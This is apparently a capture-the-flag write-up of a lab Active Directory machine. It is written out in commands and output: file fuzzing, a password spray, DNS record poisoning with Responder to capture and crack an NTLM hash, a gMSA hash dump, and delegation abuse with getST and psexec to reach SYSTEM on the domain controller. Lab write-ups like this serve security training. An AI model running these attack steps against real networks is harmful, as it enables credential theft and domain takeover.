Metadata

Summary

An exposed web service references two PDFs, with highly predictable date-based naming conventions. By fuzzing for other files, we can access quite a few hidden ones, which not only include a password, but also allow us to extract user account names based on some of the document’s metadata. A password spray yields access to an account, as well as access to a smb share. By abusing a scheduled script on this share and manipulating an AD DNS entry, we can intercept an NTLM hash of another account. Lastly, we leverage this account’s increased domain permission to craft a malicious Kerberos ticket as the Administrator, which grants us local system level privileges on the Domain Controller.

Solution

Reconnaissance

Using Nmap, we get information about several open ports.

nmap -sC -sV 10.10.10.248 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 15:25 CEST
Nmap scan report for 10.10.10.248
Host is up (0.055s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Intelligence
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-14 20:25:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2025-04-14T20:26:39+00:00; +7h00m00s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-14T20:26:39+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-14T20:26:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2025-04-14T20:26:39+00:00; +7h00m00s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

There are a few noteworthy aspects about these results. On one hand, the target does not expose a WinRM service, which could make the initial foothold more challenging. Also, we can’t extract any valuable information from the open smb and LDAP services with our current access level. We should therefor focus on the open web service on port 80.

Upon further inspection of the website, we find two links to .pdf files:

These documents themselves are quite irrelevant for us. However, their naming convention seems to be very predictable, following YEAR-MONTH-DAY-upload.pdf. Knowing this, we can try to fuzz for other hidden files. Let’s start by preparing two wordlists for this purpose, one for each value. This way, we can automate this process.

seq -w 1 31 > days
seq -w 1 12 > months

Now we only need to feed these lists into Ffuf, with which we can start detecting files.

ffuf -w "./days:DAY" -w "./months:MONTH" -u http://10.10.10.248/documents/2020-MONTH-DAY-upload.pdf
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://10.10.10.248/documents/2020-MONTH-DAY-upload.pdf
 :: Wordlist         : DAY: /home/kali/htb/machines/intelligence/days
 :: Wordlist         : MONTH: /home/kali/htb/machines/intelligence/months
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
[Status: 200, Size: 11557, Words: 167, Lines: 136, Duration: 107ms]
    * DAY: 23
    * MONTH: 01
<cut>

I cut the output above, because there are way more results than expected, way too many to check all of them manually. We also can’t check these results based on response lengths, as all files seem to contain junk text. This is a perfect opportunity to write a little script, with which we can automatically download all of these files and extract the containing text.

User Flag

ffuf -w "./days:DAY" -w "./months:MONTH" -u http://10.10.10.248/documents/2020-MONTH-DAY-upload.pdf -o hits.json -of json
 
jq -r '.results[].url' hits.json > urls.txt
 
mkdir pdfs
cd pdfs
wget -i ../urls.txt
cd ..
mkdir pdf_texts

After executing these, we have a /pdfs folder with all discovered .pdf files. Now, we only need to extract the text for each of these files and save it, in order to search through them. For this purpose, the following script will suffice.

from pdfminer.high_level import extract_text
import os
 
input_dir = "pdfs"
output_dir = "pdf_texts"
os.makedirs(output_dir, exist_ok=True)
 
for file in os.listdir(input_dir):
    if file.endswith(".pdf"):
        in_path = os.path.join(input_dir, file)
        out_path = os.path.join(output_dir, file.replace(".pdf", ".txt"))
        text = extract_text(in_path)
        with open(out_path, "w") as out_file:
            out_file.write(text)

Since this operation was successful, we can now move into /pdf_texts and grep through these files. As I suspect any of these files to contain a password, we can search for an adjacent term.

grep -r -i pass .
./2020-06-04-upload.txt:Please login using your username and the default password of:
./2020-06-04-upload.txt:After logging in please change your password as soon as possible.
 
cat 2020-06-04-upload.txt 
New Account Guide
 
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
 
After logging in please change your password as soon as possible.

This is helpful! 2020-06-04-upload.txt discloses that there must be a user account with the password NewIntelligenceCorpUser9876, at least as long as it was never changed. But this is not the only information we can obtain from these files., as 2020-12-30-upload.txt informs us about something security related. This might come in handy later on.

Internal IT Update

There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

So, at this point we have a password, which is likely valid from some user account. However, we don’t have any domain username, for which we could test it, as we previously didn’t have a way to enumerate them. Know, we have something to work with, as PDF files usually contain the creator’s name of the document. With strings, these are trivial to find.

strings 2020-01-01-upload.pdf
<cut>
/Creator (William.Lee)
<cut>

After checking a few other files, there is not only one account that created these files but a bunch of them. This poses as a great way to obtain a list of usernames. We can automate this process, once again, by using the following bash one-liner.

strings * | grep "/Creator" |  grep -v "TeX" | sed -E 's/\/Creator \((.*)\)/\1/' > names.txt

Finally, we can use the list of usernames and the discovered password with Netexec, and check if we get any hits.

netexec smb 10.10.10.248 -u names.txt -p NewIntelligenceCorpUser9876
<cut>
SMB         10.10.10.248    445    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

As we got a hit for the account Tiffany.Molina, we granted ourselves increased access rights to the domain resources. Since there is no open WinRM service, over which we could obtain a foothold on the machine, we should instead check the smb share with SMBclient.

smbclient -L //10.10.10.248/ -U Tiffany.Molina                                              
Password for [WORKGROUP\Tiffany.Molina]:
 
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        IT              Disk      
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
smbclient //10.10.10.248/Users -U Tiffany.Molina                    
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Mon Apr 19 03:20:26 2021
  ..                                 DR        0  Mon Apr 19 03:20:26 2021
  Administrator                       D        0  Mon Apr 19 02:18:39 2021
  All Users                       DHSrn        0  Sat Sep 15 09:21:46 2018
  Default                           DHR        0  Mon Apr 19 04:17:40 2021
  Default User                    DHSrn        0  Sat Sep 15 09:21:46 2018
  desktop.ini                       AHS      174  Sat Sep 15 09:11:27 2018
  Public                             DR        0  Mon Apr 19 02:18:39 2021
  Ted.Graves                          D        0  Mon Apr 19 03:20:26 2021
  Tiffany.Molina                      D        0  Mon Apr 19 02:51:46 2021

The compromised user account has access to two irregular shares, one of which being the Users share. Since it exposes the targets Users folder, we can claim the user flag on Tiffany.Molina’s desktop.

d3899fee046377146e38723889b76b64

Root Flag

Since our current access also allows us to take a peak at the IT share, we should check it out.

smbclient //10.10.10.248/IT -U Tiffany.Molina
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Apr 19 02:50:55 2021
  ..                                  D        0  Mon Apr 19 02:50:55 2021
  downdetector.ps1                    A     1046  Mon Apr 19 02:50:55 2021

In it, we find a PowerShell script called downdetector.ps1. Let’s download it to our machine, so we can analyze it.

��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

In the first line, we can see that this script is scheduled to run every five minutes. My first though was to replace the script, however we are not permitted to write to the IT share. From the looks of it, the script gathers all stored DNS records of the AD domain, which start with the prefix web. For each of these entries, it invokes a web request. The most important part here is that the request is being made with credentials of the executing user.

By itself the script is not that interesting. However, as a domain user like us, we are permitted to add DNS entries, which is default behavior. This means, we can create a DNS entry that points to our attacking machine. In return, this means that the script will authenticate against our machine, once it triggers, as long as we name our entry accordingly. This poses as an opportunity to intercept a NTLM hash.

First, we need to create the DNS entry. For this we can use dnstool. Remember to add the prefix web, since it won’t be called otherwise.

python3 dnstool.py 10.10.10.248 -u "intelligence.htb\Tiffany.Molina" -p NewIntelligenceCorpUser9876 -a add -d 10.10.16.5 -r webtest 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Once this is done, we can start Responder on our interface. After waiting a little (up to five minutes), we can collect the NTLM hash of Ted.Graves.

sudo responder -I tun0
<cut>
[HTTP] NTLMv2 Client   : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:78371be0944e41b1:FA5CCF1D8A0CB4563F85DD5C5CA72B6F:0101000000000000ACBD757798ADDB01E77DC8C5C1D85A3D0000000002000800500035004600300001001E00570049004E002D0046003400540034005200390048005800370051004F000400140050003500460030002E004C004F00430041004C0003003400570049004E002D0046003400540034005200390048005800370051004F002E0050003500460030002E004C004F00430041004C000500140050003500460030002E004C004F00430041004C000800300030000000000000000000000000200000BD87700FCB7B93CBC2E8410B81BC9CD95D8E8B40EF102019B440D9791A0CFD160A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

While we could use this for limited authentication, let’s try to crack this hash by feeding it into Hashcat.

hashcat hash /usr/share/wordlists/rockyou.txt
 
<cut>
TED.GRAVES::intelligence:78371be0944e41b1:fa5ccf1d8a0c<cut>:Mr.Teddy
<cut>

Great, we now have access to the account Ted.Graves. Before we try to authenticate against the machine for a PowerShell session, let’s take a step back. Earlier, we found a memo, which mentioned that there were some security issues with service accounts. Maybe this was never actually fixed. We can enumerate the entire domain with Bloodhound-python, which might be able to highlight a potentially dangerous relationship.

bloodhound-python -d intelligence.htb -ns 10.10.10.248 -c all -u Ted.Graves -p Mr.Teddy

After loading the acquired data into Bloodhound and marking Ted.Graves as a compromised account, we can find something of value.

  • Ted.Graves is a member of ITSupport
  • Every member of ITSupport has ReadGMSAPassword privileges over SVC_INT$
  • SVC_INT$ can delegate to the Domain Controller

This looks promising, as we are seemingly able to access the local Administrator password on the DC. Let’s start by dumping the credentials of SVC_INT$ with gMSADumper.

python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.10.10.248
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::b05dfb2636385604c6d36b0ca61e35cb
svc_int$:aes256-cts-hmac-sha1-96:77a2141a0d0b64a8858ff6eac44a82cb388161b70a0ee4557566f4a6fc2091aa
svc_int$:aes128-cts-hmac-sha1-96:e9b3d6e223cd226f04fb91aaf759765d

After we have obtained b05dfb2636385604c6d36b0ca61e35cb as SVC_INT$’s NTLM hash, we can now authenticate as this account. Using this, we continue with the delegation relationship. However, for this we need to SPN of our compromised account. While there are a bunch of tools with which we could obtain this entry, we can also quickly check the node information in Bloodhound.

Now, we only need to feed the required information into getST. This allows us to create a fake Kerberos ticket for any user on the Domain Controller, including Administrator.

getST.py -spn 'WWW/dc.intelligence.htb' -impersonate 'administrator'  -hashes :b05dfb2636385604c6d36b0ca61e35cb 'intelligence.htb/svc_int$' -dc-ip 10.10.10.248
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
 
export KRB5CCNAME=./administrator.ccache

Before we can use the created Kerberos ticket, we first need to set up the according DNS entry in our /etc/hosts file, as Kerberos is dependent on DNS. However, since our exploit has created a ticket specifically for the Domain Control and not the entire domain, it’s essential to specify the subdomain dc.intelligence.htb. After this is done, we can finally use our Kerberos ticket for authentication. Since there is no WinRM service, we can instead use PSexec to get a foothold on the target, as this account obviously has write access to some smb share. Afterwards, we can claim the root flag.

psexec.py -k -no-pass dc.intelligence.htb 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 
[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file tbIKCoGf.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service OXRk on dc.intelligence.htb.....
[*] Starting service OXRk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\Windows\system32> whoami
nt authority\system
d8838fe16228f12c4bc84866ee35e276